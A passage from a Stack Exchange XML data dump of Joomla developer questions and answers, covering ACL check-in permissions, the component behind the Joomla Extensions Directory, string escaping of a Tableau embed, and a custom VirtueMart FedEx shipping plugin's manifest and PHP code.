  <row Id="8999" PostTypeId="1" CreationDate="2015-03-11T06:58:20.417" Score="1" ViewCount="256" Body="&lt;p&gt;I 'm writing a listView's default layout for my component in which I 'm implementing Joomla's publish &amp;amp; unpublished feature in which user can publish an item on single click on check box. &#xA;I am little confused about statement of getting user authentication for $canChange given below:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canCheckin = $user-&amp;gt;authorise('core.manage', 'com_checkin') || $item-&amp;gt;checked_out == $userId || $item-&amp;gt;checked_out == 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;can any body tell me way we authenticate user against com_checkin.?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;secondly I think it is wrong, this should be like following:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canCheckin = $user-&amp;gt;authorise('core.manage', 'com_my_component') &amp;amp;&amp;amp; $item-&amp;gt;checked_out==$user-&amp;gt;id || $item-&amp;gt;checked_out==0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code I authenticate user against my component to make sure if user authorise for check_in, also I check if the the item is not checked to other user for editing &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;now the question is where is am I wrong and if I am right then why&#xA;  com_content authenticate user against com_checkin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="126" LastEditDate="2016-01-21T23:21:14.997" LastActivityDate="2016-01-21T23:21:14.997" Title="Use of com_checkin and $canChange and $canCheckin in listview" Tags="|joomla-3.x|joomla-3.3.x|view|acl|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9001" PostTypeId="1" AcceptedAnswerId="9002" CreationDate="2015-03-11T07:58:23.277" Score="0" ViewCount="240" Body="&lt;p&gt;I want to create a directory same as JED, can someone tell me which extension is using Joomla in their JED?&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2015-03-11T09:48:00.013" Title="Which component is using Joomla in their JED?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostTypeId="2" ParentId="9001" CreationDate="2015-03-11T08:11:35.977" Score="1" Body="&lt;p&gt;The old Joomla Extensions Directory was using Mosets Tree which you can find here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/directory-a-documentation/directory/mosets-tree&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/directory-a-documentation/directory/mosets-tree&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However a while back, &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt; were selected to build the new Extensions Directory. This is a custom component (&lt;strong&gt;com_jed&lt;/strong&gt;) which is not available to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have a similar sort of Download Directory, have a look at the &lt;a href=&quot;http://extensions.joomla.org/tags/file-management?&amp;amp;start=0&quot; rel=&quot;nofollow&quot;&gt;File Management&lt;/a&gt; category on JED&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-11T09:48:00.013" LastActivityDate="2015-03-11T09:48:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="2" ParentId="9001" CreationDate="2015-03-11T08:14:35.067" Score="3" Body="&lt;p&gt;They are using extension &lt;strong&gt;com_jed&lt;/strong&gt; which is specifically developed for this extension directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension has been developed by fabrik team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;http://fabrikar.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-11T08:14:35.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="1" CreationDate="2015-03-11T09:51:58.620" Score="0" ViewCount="80" Body="&lt;p&gt;I have a variable which has this a javascript code value before saving.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://112.199.36.77:58181/javascripts/api/viz_v1.js'&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;div class='tableauPlaceholder' style='width: 1004px; height: 636px;'&amp;gt;&amp;lt;object class='tableauViz' width='1004' height='636' style='display:none;'&amp;gt;&amp;lt;param name='host_url' value='http%3A%2F%2F112.199.36.77%3A58181%2F' /&amp;gt; &amp;lt;param name='site_root' value='&amp;amp;#47;t&amp;amp;#47;BDES_Default' /&amp;gt;&amp;lt;param name='name' value='MarketInformationSummary&amp;amp;#47;MarketInformationSummary' /&amp;gt;&amp;lt;param name='tabs' value='no' /&amp;gt;&amp;lt;param name='toolbar' value='yes' /&amp;gt;&amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But right before saving, joomla adds this &quot; \' &quot; character for every part of the value which becomes like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=\'text/javascript\' src=\'http://112.199.36.77:58181/javascripts/api/viz_v1.js\'&amp;gt;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;div class=\'tableauPlaceholder\' style=\'width: 100%; min-height: 450px;\'&amp;gt;&#xA;            &amp;lt;object class=\'tableauViz\' width=\'100%\' height=\'500px\' style=\'display:none;\'&amp;gt;&#xA;            &amp;lt;param name=\'host_url\' value=\'http%3A%2F%2F112.199.36.77%3A58181%2F\' /&amp;gt;&#xA;            &amp;lt;param name=\'site_root\' value=\'/t/BDES_Default\' /&amp;gt;&#xA;            &amp;lt;param name=\'name\' value=\'MarketInformationSummary&amp;amp;#47;MarketInformationSummary\' /&amp;gt;&#xA;            &amp;lt;param name=\'tabs\' value=\'no\' /&amp;gt;&#xA;            &amp;lt;param name=\'toolbar\' value=\'no\' /&amp;gt;&#xA;            &amp;lt;/object&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the end result, when the value is displayed in the page, it does not show the URL being displayed by the variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen? why does joomla need to add \' in the string? is there a way to escape this value in order to save the variable as it is?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-03-11T10:08:04.177" LastActivityDate="2016-01-06T15:11:06.367" Title="Joomla adds \' to a string value before saving" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="1" AcceptedAnswerId="9007" CreationDate="2015-03-11T10:23:53.037" Score="1" ViewCount="537" Body="&lt;p&gt;I create a custom shipping plugin for Virtuemart-3 . it installed successfully. but its config fields are not showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my fedex.xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA;&amp;lt;extension version=&quot;2.5&quot; type=&quot;plugin&quot; group=&quot;vmshipment&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Fedex&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;March 11 2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;example&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;http://www.example.net&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;Commercial&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;FedEx Shipping&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;fedex&quot;&amp;gt;fedex.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;live&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;nusoap&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;wsdl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;vmconfig&amp;gt;&#xA;        &amp;lt;fields addpath=&quot;/administrator/components/com_virtuemart/elements&quot;&amp;gt;&#xA;            &amp;lt;field type=&quot;vmjpluginwarning&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;spacer&quot; default=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN&quot; level=&quot;level1&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;fedex_account_number&quot; type=&quot;text&quot;   label=&quot;FedEx account number&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;fedex_access_id&quot; type=&quot;text&quot;   label=&quot;FedEx access ID&quot;  /&amp;gt;&#xA;            &amp;lt;field name=&quot;fedex_password&quot; type=&quot;text&quot;   label=&quot;FedEx password&quot;  /&amp;gt;&#xA;            &amp;lt;field name=&quot;fedex_meter_number&quot; type=&quot;text&quot;   label=&quot;FedEx meter number&quot;  /&amp;gt;&#xA;            &amp;lt;field name=&quot;countries&quot; type=&quot;vmcountries&quot;  scope=&quot;com_virtuemart&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC&quot;/&amp;gt;&#xA;            &amp;lt;field name=&quot;fedex_origin_zip&quot; type=&quot;text&quot;   label=&quot;Origin  Zip code&quot;  /&amp;gt;&#xA;&#xA;            &amp;lt;!--&amp;lt;param name=&quot;zip_start&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC&quot;/&amp;gt;&#xA;            &amp;lt;param name=&quot;zip_stop&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC&quot;/&amp;gt;&#xA;            --&amp;gt;&#xA;            &amp;lt;field name=&quot;weight_start&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC&quot;/&amp;gt;&#xA;            &amp;lt;field name=&quot;weight_stop&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC&quot;/&amp;gt;&#xA;            &amp;lt;field name=&quot;weight_unit&quot; type=&quot;vmweightunit&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC&quot;/&amp;gt;&#xA;            &amp;lt;!--&amp;lt;param name=&quot;nbproducts_start&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC&quot;/&amp;gt;&#xA;            &amp;lt;param name=&quot;nbproducts_stop&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC&quot;/&amp;gt;&#xA;            --&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;orderamount_start&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC&quot;/&amp;gt;&#xA;            &amp;lt;field name=&quot;orderamount_stop&quot; type=&quot;text&quot; size=&quot;10&quot; default=&quot;&quot; label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC&quot;/&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_PRIORITY_OVERNIGHT&quot; label=&quot;Shipment Cousion for FedEx Priority Overnight (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_STANDARD_OVERNIGHT&quot; label=&quot;Shipment Cousion for FedEx Standard Overnight (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_FEDEX_2_DAY_AM&quot; label=&quot;Shipment Cousion for FedEx 2 Day Air AM (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_FEDEX_2_DAY&quot; label=&quot;Shipment Cousion for FedEx 2 Day Air (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_FEDEX_EXPRESS_SAVER&quot; label=&quot;Shipment Cousion for FedEx Express Saver (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_FEDEX_GROUND&quot; label=&quot;Shipment Cousion for FedEx Ground (%)&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; default=&quot;0&quot; name=&quot;shipment_cushion_PRIORITY_GROUND_HOME_DELIVERY&quot; label=&quot;Shipment Cousion for FedEx Ground Home Delivery (%)&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;!--&#xA;            &amp;lt;param name=&quot;cost&quot; type=&quot;text&quot;   label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_COST&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC&quot; /&amp;gt;&#xA;            &amp;lt;param name=&quot;package_fee&quot; type=&quot;text&quot;   label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC&quot; /&amp;gt;&#xA;            &amp;lt;param name=&quot;tax_id&quot; type=&quot;vmtaxes&quot; scope=&quot;com_virtuemart&quot;  label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_TAX&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC&quot; /&amp;gt;&#xA;            &amp;lt;param name=&quot;free_shipment&quot; type=&quot;text&quot;    label=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT&quot; description=&quot;VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC&quot; /&amp;gt;--&amp;gt;&#xA;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/vmconfig&amp;gt;&#xA;&#xA;    &amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;!-- Note: No spaces or linebreaks allowed between the server tags --&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; name=&quot;VirtueMart3 plg_vmshipment_fedex Update Site&quot;&amp;gt;&amp;lt;![CDATA[http://virtuemart.net/releases/vm3/plg_vmshipment_weight_countries_update.xml]]&amp;gt;&amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my fedex.php is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('vmPSPlugin')) {&#xA;    require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');&#xA;}&#xA;require_once('ratelib.php');&#xA;&#xA;class plgVmShipmentFedex extends vmPSPlugin {&#xA;&#xA;    // instance of class&#xA;    public static $_this = FALSE;&#xA;    public static $_fcc = 1;&#xA;    public $methods_rates = array();&#xA;&#xA;    function __construct(&amp;amp; $subject, $config) {&#xA;&#xA;        parent::__construct($subject, $config);&#xA;&#xA;        $this-&amp;gt;_loggable = TRUE;&#xA;        $this-&amp;gt;_tablepkey = 'id';&#xA;        $this-&amp;gt;_tableId = 'id';&#xA;        $this-&amp;gt;tableFields = array_keys($this-&amp;gt;getTableSQLFields());&#xA;        $varsToPush = $this-&amp;gt;getVarsToPush();&#xA;&#xA;         $this-&amp;gt;setConfigParameterable($this-&amp;gt;_configTableFieldName, $varsToPush);&#xA;        //vmdebug('Muh constructed plgVmShipmentWeight_countries',$varsToPush);&#xA;    }&#xA;&#xA;    public function getVmPluginCreateTableSQL() {&#xA;&#xA;        return $this-&amp;gt;createTableSQL('Shipment Fedex Table');&#xA;    }&#xA;&#xA;    function getTableSQLFields() {&#xA;&#xA;        $SQLfields = array(&#xA;            'id' =&amp;gt; 'int(1) UNSIGNED NOT NULL AUTO_INCREMENT',&#xA;            'virtuemart_order_id' =&amp;gt; 'int(11) UNSIGNED',&#xA;            'order_number' =&amp;gt; 'char(32)',&#xA;            'virtuemart_shipmentmethod_id' =&amp;gt; 'mediumint(1) UNSIGNED',&#xA;            'shipment_name' =&amp;gt; 'varchar(5000)',&#xA;            'order_weight' =&amp;gt; 'decimal(10,4)',&#xA;            'shipment_weight_unit' =&amp;gt; 'char(3) DEFAULT \'KG\'',&#xA;            'shipment_cost' =&amp;gt; 'decimal(10,2)',&#xA;            'shipment_package_fee' =&amp;gt; 'decimal(10,2)',&#xA;            'tax_id' =&amp;gt; 'smallint(1)'&#xA;        );&#xA;        return $SQLfields;&#xA;    }&#xA;&#xA;    public function plgVmOnShowOrderFEShipment($virtuemart_order_id, $virtuemart_shipmentmethod_id, &amp;amp;$shipment_name) {&#xA;&#xA;        $this-&amp;gt;onShowOrderFE($virtuemart_order_id, $virtuemart_shipmentmethod_id, $shipment_name);&#xA;    }&#xA;&#xA;    function plgVmConfirmedOrder(VirtueMartCart $cart, $order) {&#xA;&#xA;        if (!($method = $this-&amp;gt;getVmPluginMethod($order['details']['BT']-&amp;gt;virtuemart_shipmentmethod_id))) {&#xA;            return NULL; // Another method was selected, do nothing&#xA;        }&#xA;        if (!$this-&amp;gt;selectedThisElement($method-&amp;gt;shipment_element)) {&#xA;            return FALSE;&#xA;        }&#xA;        $values['virtuemart_order_id'] = $order['details']['BT']-&amp;gt;virtuemart_order_id;&#xA;        $values['order_number'] = $order['details']['BT']-&amp;gt;order_number;&#xA;        $values['virtuemart_shipmentmethod_id'] = $order['details']['BT']-&amp;gt;virtuemart_shipmentmethod_id;&#xA;        $values['shipment_name'] = $this-&amp;gt;renderPluginName($method);&#xA;        $values['order_weight'] = $this-&amp;gt;getOrderWeight($cart, $method-&amp;gt;weight_unit);&#xA;        $values['shipment_weight_unit'] = $method-&amp;gt;weight_unit;&#xA;&#xA;        $costs = $this-&amp;gt;getCosts($cart, $method, $cart-&amp;gt;cartPrices);&#xA;        if (empty($costs)) {&#xA;            $values['shipment_cost'] = 0;&#xA;            $values['shipment_package_fee'] = 0;&#xA;        } else {&#xA;            $values['shipment_cost'] = $method-&amp;gt;shipment_cost;&#xA;            $values['shipment_package_fee'] = $method-&amp;gt;package_fee;&#xA;        }&#xA;&#xA;        $values['tax_id'] = $method-&amp;gt;tax_id;&#xA;        $this-&amp;gt;storePSPluginInternalData($values);&#xA;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    public function plgVmOnShowOrderBEShipment($virtuemart_order_id, $virtuemart_shipmentmethod_id) {&#xA;&#xA;        if (!($this-&amp;gt;selectedThisByMethodId($virtuemart_shipmentmethod_id))) {&#xA;            return NULL;&#xA;        }&#xA;        $html = $this-&amp;gt;getOrderShipmentHtml($virtuemart_order_id);&#xA;        return $html;&#xA;    }&#xA;&#xA;    function getOrderShipmentHtml($virtuemart_order_id) {&#xA;&#xA;        $db = JFactory::getDBO();&#xA;        $q = 'SELECT * FROM `' . $this-&amp;gt;_tablename . '` '&#xA;                . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id;&#xA;        $db-&amp;gt;setQuery($q);&#xA;        if (!($shipinfo = $db-&amp;gt;loadObject())) {&#xA;            vmWarn(500, $q . &quot; &quot; . $db-&amp;gt;getErrorMsg());&#xA;            return '';&#xA;        }&#xA;&#xA;        if (!class_exists('CurrencyDisplay')) {&#xA;            require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');&#xA;        }&#xA;&#xA;        $currency = CurrencyDisplay::getInstance();&#xA;        $tax = ShopFunctions::getTaxByID($shipinfo-&amp;gt;tax_id);&#xA;        $taxDisplay = is_array($tax) ? $tax['calc_value'] . ' ' . $tax['calc_value_mathop'] : $shipinfo-&amp;gt;tax_id;&#xA;        $taxDisplay = ($taxDisplay == -1) ? JText::_('COM_VIRTUEMART_PRODUCT_TAX_NONE') : $taxDisplay;&#xA;&#xA;        $html = '&amp;lt;table class=&quot;adminlist table&quot;&amp;gt;' . &quot;\n&quot;;&#xA;        $html .= $this-&amp;gt;getHtmlHeaderBE();&#xA;        $html .= $this-&amp;gt;getHtmlRowBE('WEIGHT_COUNTRIES_SHIPPING_NAME', $shipinfo-&amp;gt;shipment_name);&#xA;        $html .= $this-&amp;gt;getHtmlRowBE('WEIGHT_COUNTRIES_WEIGHT', $shipinfo-&amp;gt;order_weight . ' ' . ShopFunctions::renderWeightUnit($shipinfo-&amp;gt;shipment_weight_unit));&#xA;        $html .= $this-&amp;gt;getHtmlRowBE('WEIGHT_COUNTRIES_COST', $currency-&amp;gt;priceDisplay($shipinfo-&amp;gt;shipment_cost));&#xA;        $html .= $this-&amp;gt;getHtmlRowBE('WEIGHT_COUNTRIES_PACKAGE_FEE', $currency-&amp;gt;priceDisplay($shipinfo-&amp;gt;shipment_package_fee));&#xA;        $html .= $this-&amp;gt;getHtmlRowBE('WEIGHT_COUNTRIES_TAX', $taxDisplay);&#xA;        $html .= '&amp;lt;/table&amp;gt;' . &quot;\n&quot;;&#xA;&#xA;        return $html;&#xA;    }&#xA;&#xA;    function getPackagesStats(VirtueMartCart $cart) {&#xA;        $arrBins = array('5x5x4', '8x8x8', '8x8x16', '12x12x10', '12x12x12', '12x12x18', '13x18x24');&#xA;        $arr_itmes = $arr_bins = $arr_weight = $array_packages = array();&#xA;&#xA;        if (is_array($cart-&amp;gt;products)) {&#xA;            foreach ($arrBins as $string) {&#xA;                list($l, $w, $h) = explode('x', $string);&#xA;                $arr_bins[] = array('w' =&amp;gt; $w, 'h' =&amp;gt; $h, 'd' =&amp;gt; $l, 'id' =&amp;gt; str_replace('x', '-', $string));&#xA;            }&#xA;&#xA;            foreach ($cart-&amp;gt;products as $product) {&#xA;                $arr_itmes[$product-&amp;gt;virtuemart_product_id] = array(&quot;w&quot; =&amp;gt; $product-&amp;gt;product_width, &quot;h&quot; =&amp;gt; $product-&amp;gt;product_height, &quot;d&quot; =&amp;gt; $product-&amp;gt;product_length, &quot;q&quot; =&amp;gt; $arr_itmes[$product-&amp;gt;virtuemart_product_id]['q'] + $product-&amp;gt;quantity, &quot;vr&quot; =&amp;gt; 1, &quot;id&quot; =&amp;gt; $product-&amp;gt;virtuemart_product_id);&#xA;                $arr_weight[$product-&amp;gt;virtuemart_product_id] = $product-&amp;gt;product_weight;&#xA;            }&#xA;&#xA;            $query = array(&#xA;                'items' =&amp;gt; array_values($arr_itmes),&#xA;                'bins' =&amp;gt; $arr_bins,&#xA;&#xA;&#xA;                'params' =&amp;gt; array('images_width' =&amp;gt; 250, 'images_height' =&amp;gt; 250, 'item_coordinates' =&amp;gt; 0, 'stats' =&amp;gt; 0, 'images_sbs' =&amp;gt; 0, 'images_separated' =&amp;gt; 0, 'images_complete' =&amp;gt; 0)&#xA;            );&#xA;&#xA;            curl_setopt($ch, CURLOPT_POST, true);&#xA;            curl_setopt($ch, CURLOPT_POSTFIELDS, 'query=' . json_encode($query));&#xA;            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;            curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . &quot;/us-east.api.3dbinpacking.com.pem&quot;);&#xA;            $resp = curl_exec($ch);&#xA;&#xA;            if (curl_errno($ch) == 0) {&#xA;&#xA;                $data = json_decode($resp, true);&#xA;&#xA;                if (isset($data['response'])) {&#xA;                    $response = &amp;amp;$data['response'];&#xA;                    if (empty($response['errors'])) {&#xA;&#xA;                        foreach ($response['bins_packed'] as $bin_key =&amp;gt; $bin) {&#xA;                            if (!isset($array_packages[$bin['bin_data']['id']])) {&#xA;                                list($l, $w, $h) = explode('-', $bin['bin_data']['id']);&#xA;                                $array_packages[$bin_key] = array('size' =&amp;gt; array('l' =&amp;gt; $l, 'w' =&amp;gt; $w, 'h' =&amp;gt; $h), 'weight' =&amp;gt; 0);&#xA;                            }&#xA;                            // read item packed into this bin&#xA;                            $current_bin = &amp;amp;$array_packages[$bin_key];&#xA;&#xA;                            foreach ($bin['items'] as $item) {&#xA;                                $current_bin['weight'] = $current_bin['weight'] + $arr_weight[$item['id']];&#xA;                            }&#xA;                        }&#xA;                    } else {&#xA;                        JError::raiseWarning('500', 'Shipping error.' . implode($response['errors']));&#xA;                        return false;&#xA;                    }&#xA;                }&#xA;&#xA;                return $array_packages;&#xA;            } else {&#xA;&#xA;                //vmWarn(500, $q . &quot; &quot; . 'Unable to calculate shipping, Try again later.'.curl_error($ch));&#xA;                JError::raiseWarning('500', 'Unable to calculate shipping, Try again later.' . curl_error($ch));&#xA;                return false;&#xA;            }&#xA;            curl_close($ch);&#xA;        } else {&#xA;            return $array_packages;&#xA;        }&#xA;    }&#xA;&#xA;&#xA;&#xA;    function modify_residential_array(&amp;amp;$arrRes, $arrComm) {&#xA;        $flatRate = $this-&amp;gt;getPriceInDeliverMethodArray('FEDEX_GROUND', $arrComm);&#xA;        // update price&#xA;        $arrRes = $this-&amp;gt;setPriceInDeliverMethodArray('GROUND_HOME_DELIVERY', $flatRate + 2, $arrRes);&#xA;    }&#xA;&#xA;    function setPriceInDeliverMethodArray($code, $price, $delivery_methods) {&#xA;        if (is_array($delivery_methods) &amp;amp;&amp;amp; count($delivery_methods) &amp;gt; 0)&#xA;            foreach ($delivery_methods as &amp;amp;$shipping_methods) {&#xA;                if ($shipping_methods['code'] == $code)&#xA;                    $shipping_methods['price'] = $price;&#xA;            }&#xA;        return $delivery_methods;&#xA;    }&#xA;&#xA;    function getPriceInDeliverMethodArray($code, $delivery_methods) {&#xA;        foreach ($delivery_methods as &amp;amp;$shipping_methods) {&#xA;            if ($shipping_methods['code'] == $code)&#xA;                return $shipping_methods['price'];&#xA;        }&#xA;        return 0;&#xA;    }&#xA;&#xA;    function get_saved_rates() {&#xA;&#xA;        return $this-&amp;gt;methods_rates;&#xA;    }&#xA;&#xA;&#xA;&#xA;    protected function checkConditions($cart, $method, $cart_prices) {&#xA;&#xA;        $this-&amp;gt;convert($method);&#xA;&#xA;        $orderWeight = $this-&amp;gt;getOrderWeight($cart, $method-&amp;gt;weight_unit);&#xA;        $address = (($cart-&amp;gt;ST == 0) ? $cart-&amp;gt;BT : $cart-&amp;gt;ST);&#xA;&#xA;        $countries = array();&#xA;        if (!empty($method-&amp;gt;countries)) {&#xA;            if (!is_array($method-&amp;gt;countries)) {&#xA;                $countries[0] = $method-&amp;gt;countries;&#xA;            } else {&#xA;                $countries = $method-&amp;gt;countries;&#xA;            }&#xA;        }&#xA;&#xA;        if (!is_array($address)) {&#xA;&#xA;            $address = array();&#xA;            $address['zip'] = 0;&#xA;            $address['virtuemart_country_id'] = 0;&#xA;        }&#xA;&#xA;        $weight_cond = $this-&amp;gt;_weightCond($orderWeight, $method);&#xA;        $nbproducts_cond = $this-&amp;gt;_nbproductsCond($cart, $method);&#xA;        $orderamount_cond = $this-&amp;gt;_orderamountCond($cart_prices, $method);&#xA;&#xA;        if (!isset($address['zip'])) {&#xA;            $address['zip'] = 0;&#xA;        }&#xA;&#xA;        $zip_cond = $this-&amp;gt;_zipCond($address['zip'], $method);&#xA;&#xA;        if (!isset($address['virtuemart_country_id'])) {&#xA;            $address['virtuemart_country_id'] = 0;&#xA;        }&#xA;&#xA;        if (in_array($address['virtuemart_country_id'], $countries) || count($countries) == 0) {&#xA;&#xA;            //vmdebug('checkConditions '.$method-&amp;gt;name.' fit ',$weight_cond,(int)$zip_cond,$nbproducts_cond,$orderamount_cond);&#xA;&#xA;            $allconditions = (int) $weight_cond + (int) $zip_cond + (int) $nbproducts_cond + (int) $orderamount_cond;&#xA;            if ($allconditions === 4) {&#xA;                return TRUE;&#xA;            } else {&#xA;                return 